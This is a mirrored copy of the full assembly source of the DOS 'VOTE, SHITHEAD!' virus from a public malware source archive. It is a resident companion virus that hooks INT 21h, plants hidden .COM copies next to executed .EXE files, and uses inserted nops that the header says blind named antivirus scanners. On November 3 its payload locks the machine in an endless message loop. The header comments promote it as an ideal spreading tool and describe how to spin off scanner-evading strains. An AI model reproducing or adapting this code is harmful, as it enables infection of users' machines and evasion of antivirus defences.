mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-25 16:38:38 +00:00
319 lines
11 KiB
NASM
319 lines
11 KiB
NASM
;****************************************************************************
|
||
;* VOTE, SHITHEAD! virus Edited by URNST KOUCH for the Crypt Newsletter 7.
|
||
;*
|
||
;* TASM/MASM compatible source listing
|
||
;*
|
||
;* VOTE, SHITHEAD is a resident, companion virus based upon Little
|
||
;* Brother code and library .asm routines extracted from Nowhere Man's VCL.
|
||
;* It is also 'patched' with three 'nops' (they are commented) which
|
||
;* effectively blind a number of a-v scanners. This simple alteration
|
||
;* demonstrates a practical benefit of source code possession: quick
|
||
;* generation of different virus strains becomes a task within anyone's
|
||
;* reach. The only tools needed are a number of virus scanners and patience.
|
||
;*
|
||
;* In any case, the VOTE virus is just the ideal sample needed for
|
||
;* judicious virus action. It is a PERFECT tool for viral spreading for
|
||
;* a number of reasons. First, it is a FAST infector. Once resident
|
||
;* VOTE will create a companion file for ANY .EXE executed on ANY drive
|
||
;* and it will do it so quickly that most users, even suspicious ones,
|
||
;* will not notice any slowdown or glitches in machine operation.
|
||
;* Second, 'companion-ed' .EXE's will continue to load and function
|
||
;* properly when VOTE is resident. At the start of the day's computing,
|
||
;* the first 'companion-ed' .EXE executed will misfire ONCE as the virus
|
||
;* becomes resident. If it is re-called it will function perfectly.
|
||
;* Third, VOTE like the INSUFF viruses in the last newsletter strikes
|
||
;* directly at anti-virus suites vulnerable to 'spawning' infections (many
|
||
;* no-names, CPAV, NAV) and creates 'hidden' companion files, an improvement
|
||
;* over the original virus's modus operandi which left them out in plane
|
||
;* sight in the directory. Last, VOTE is very small. In RAM, it is not
|
||
;* discernible, taking up slightly less that 0.25k. Characteristically,
|
||
;* this is NOT reported by a mem /c display. In fact,
|
||
;* VOTE is almost invisible to any number of standard diagnostic
|
||
;* tests. Memory maps by QEMM and Norton's SYSINFO will
|
||
;* report INT 21 hooked differently. But unless the user can compare
|
||
;* an uncontaminated INTERRUPT report with one when the virus IS present,
|
||
;* it's unlikely he'll know anything is different. Even then, VOTE is hard
|
||
;* to notice.
|
||
;*
|
||
;* On election day, November 3rd, VOTE will lock an infected machine into
|
||
;* a loop as it displays a "DID YOU VOTE, SHITHEAD??" query repetitively
|
||
;* across the monitor. Computing will be impossible on Nov. 3rd
|
||
;* unless VOTE is removed from the machine, a task accomplished by unmasking
|
||
;* all the hidden .COMfiles and deleting them while
|
||
;* the virus is NOT resident. At all other times, VOTE is almost completely
|
||
;* transparent.
|
||
;****************************************************************************
|
||
|
||
code segment
|
||
assume cs:code,ds:code,es:nothing
|
||
|
||
.RADIX 16
|
||
|
||
|
||
oi21 equ endit
|
||
nameptr equ endit+4
|
||
DTA equ endit+8
|
||
|
||
|
||
;****************************************************************************
|
||
;* Check for activation date, then proceed to installation!
|
||
;****************************************************************************
|
||
|
||
org 100h
|
||
|
||
begin:
|
||
call get_day ; Get the day, DOS time/date grab
|
||
cmp ax,0003h ; Did the function return the 3rd?
|
||
jne realstrt ; If equal, continue along stream
|
||
call get_month ; Get the month, DOS time/date grab
|
||
cmp ax,000Bh ; Did the function return November (11)?
|
||
jne realstrt ; If equal, continue to blooie; if not
|
||
; skip to loading of virus
|
||
|
||
|
||
blooie: mov dx, offset shithead ;load 'shithead' message
|
||
mov ah,9 ;display it and loop
|
||
int 21h ;endlessly until
|
||
jmp blooie ;user becomes ill and reboots
|
||
|
||
realstrt: mov ax,0044h ;move VOTE SHITHEAD to empty hole in RAM
|
||
nop ;a 'nop' to confuse tbSCAN
|
||
mov es,ax
|
||
nop ;a 'nop' to confuse Datatechnik's AVscan
|
||
mov di,0100h
|
||
mov si,di
|
||
mov cx,endit - begin ;length of SHITHEAD into cx
|
||
rep movsb
|
||
|
||
mov ds,cx ;get original int21 vector
|
||
mov si,0084h
|
||
mov di,offset oi21
|
||
mov dx,offset ni21
|
||
lodsw
|
||
cmp ax,dx ;check to see if virus is around
|
||
je cancel ; by comparing new interrupt (ni21)
|
||
stosw ; vector to current, if it looks
|
||
movsw ; the same 'cancel' operation
|
||
|
||
push es ;set vector to new handler
|
||
pop ds
|
||
mov ax,2521h
|
||
int 21h
|
||
|
||
cancel: ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* File-extension masks for checking and naming routines;message text
|
||
;****************************************************************************
|
||
|
||
EXE_txt db 'EXE',0
|
||
COM_txt db 'COM',0
|
||
SHITHEAD db "DID YOU VOTE, SHITHEAD??"
|
||
db 07h,07h,'$'
|
||
|
||
;****************************************************************************
|
||
;* Interrupt handler 24
|
||
;****************************************************************************
|
||
|
||
ni24: mov al,03 ;virus critical error handler
|
||
iret ;prevents embarrassing messages
|
||
;on attempted writes to protected disks
|
||
|
||
;****************************************************************************
|
||
;* Interrupt handler 21
|
||
;****************************************************************************
|
||
|
||
ni21: pushf
|
||
|
||
push es
|
||
push ds
|
||
push ax
|
||
push bx
|
||
push dx
|
||
|
||
cmp ax,4B00h ;now that we're installed
|
||
jne exit ; check for 4B00, DOS excutions
|
||
|
||
doit: call infect ; if one comes by, grab it
|
||
|
||
exit: pop dx ; if anything else, goto sleep
|
||
pop bx
|
||
pop ax
|
||
pop ds
|
||
pop es
|
||
popf
|
||
|
||
jmp dword ptr cs:[oi21] ;call to old int-handler
|
||
|
||
|
||
;****************************************************************************
|
||
;* Try to infect a file (ptr to ASCIIZ-name is DS:DX)
|
||
;****************************************************************************
|
||
|
||
infect: cld
|
||
|
||
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
|
||
mov word ptr cs:[nameptr+2],ds
|
||
|
||
mov ah,2Fh ;get old DTA
|
||
int 21
|
||
push es
|
||
push bx
|
||
|
||
push cs ;set new DTA
|
||
|
||
pop ds
|
||
mov dx,offset DTA
|
||
mov ah,1Ah
|
||
int 21
|
||
|
||
call searchpoint ; here's where we grab a name
|
||
push di ; for ourselves
|
||
mov si,offset COM_txt ;is extension 'COM'?
|
||
|
||
mov cx,3
|
||
rep cmpsb
|
||
pop di
|
||
jz do_com ;if so, go to our .COM routine
|
||
|
||
mov si,offset EXE_txt ;is extension 'EXE'?
|
||
nop ;'nop' to confuse SCAN v95b.
|
||
mov cl,3
|
||
rep cmpsb
|
||
jnz return
|
||
|
||
do_exe: mov si,offset COM_txt ;change extension to COM
|
||
nop ;another 'nop' to confuse SCAN
|
||
call change_ext
|
||
|
||
mov ax,3300h ;get ctrl-break flag
|
||
nop
|
||
int 21
|
||
push dx
|
||
|
||
cwd ;clear the flag
|
||
inc ax
|
||
push ax
|
||
int 21
|
||
|
||
mov ax,3524h ;get int24 vector
|
||
int 21
|
||
push bx
|
||
push es
|
||
|
||
push cs ;set int24 vector to new handler
|
||
pop ds ;virus handles machine
|
||
mov dx,offset ni24 ;exits on attempted writes
|
||
mov ah,25h ;to write-protected disks
|
||
push ax
|
||
int 21
|
||
|
||
lds dx,dword ptr [nameptr] ;create the virus (with name of .EXE target)
|
||
mov ah,03Ch ; DOS create file function
|
||
mov cx,00100111b ; CX holds file attributes (all)
|
||
int 021h ; makes it hidden/system/read-only
|
||
; do it
|
||
xchg bx,ax ;save handle
|
||
|
||
push cs
|
||
pop ds
|
||
mov cx,endit - begin ; write the virus to the created file
|
||
mov dx,offset begin ; CX contains length
|
||
mov ah,40h ; write to file function
|
||
int 21
|
||
|
||
mov ah,3Eh ;close the file
|
||
int 21
|
||
|
||
|
||
return1: pop ax ;restore int24 vector
|
||
pop ds
|
||
pop dx
|
||
int 21
|
||
|
||
pop ax ;restore ctrl-break flag
|
||
pop dx
|
||
int 21
|
||
|
||
mov si,offset EXE_txt ;change extension to EXE
|
||
call change_ext ;execute EXE-file
|
||
|
||
return: mov ah,1Ah ;restore old DTA
|
||
pop dx
|
||
pop ds
|
||
int 21
|
||
|
||
ret
|
||
|
||
do_com: call findfirst ;is the COM-file a virus?
|
||
cmp word ptr cs:[DTA+1Ah],endit - begin ;compare it to virus length
|
||
jne return ;no, so execute COM-file
|
||
mov si,offset EXE_txt ;does the EXE-variant exist?
|
||
call change_ext
|
||
call findfirst
|
||
jnc return ;yes, execute EXE-file
|
||
mov si,offset COM_txt ;change extension to COM
|
||
call change_ext
|
||
jmp short return ;execute COM-file
|
||
|
||
;****************************************************************************
|
||
;* Search beginning of extension for name we will usurp
|
||
;****************************************************************************
|
||
|
||
searchpoint: les di,dword ptr cs:[nameptr]
|
||
mov ch,0FFh
|
||
mov al,0
|
||
repnz scasb
|
||
sub di,4
|
||
ret
|
||
|
||
;****************************************************************************
|
||
;* Change the extension of the filename (CS:SI -> ext)
|
||
;****************************************************************************
|
||
|
||
change_ext: call searchpoint
|
||
push cs
|
||
pop ds
|
||
movsw
|
||
movsw
|
||
ret
|
||
|
||
|
||
|
||
;****************************************************************************
|
||
;* Find the file
|
||
;****************************************************************************
|
||
|
||
findfirst: lds dx,dword ptr [nameptr]
|
||
mov cl,27h
|
||
mov ah,4Eh
|
||
int 21
|
||
ret
|
||
|
||
;****************************************************************************
|
||
;* Get the day off the system for activation checking
|
||
;****************************************************************************
|
||
get_day:
|
||
mov ah,02Ah ; DOS get date function
|
||
int 021h
|
||
mov al,dl ; Copy day into AL
|
||
cbw ; Sign-extend AL into AX
|
||
ret ; Get back to caller
|
||
;*************************************************************************
|
||
;* Get the month off the system for activation checking
|
||
;*************************************************************************
|
||
|
||
get_month:
|
||
mov ah,02Ah ; DOS get date function
|
||
int 021h
|
||
mov al,dh ; Copy month into AL
|
||
cbw ; Sign-extend AL into AX
|
||
ret ; Get back to caller
|
||
|
||
|
||
endit:
|
||
|
||
code ends
|
||
end begin
|
||
|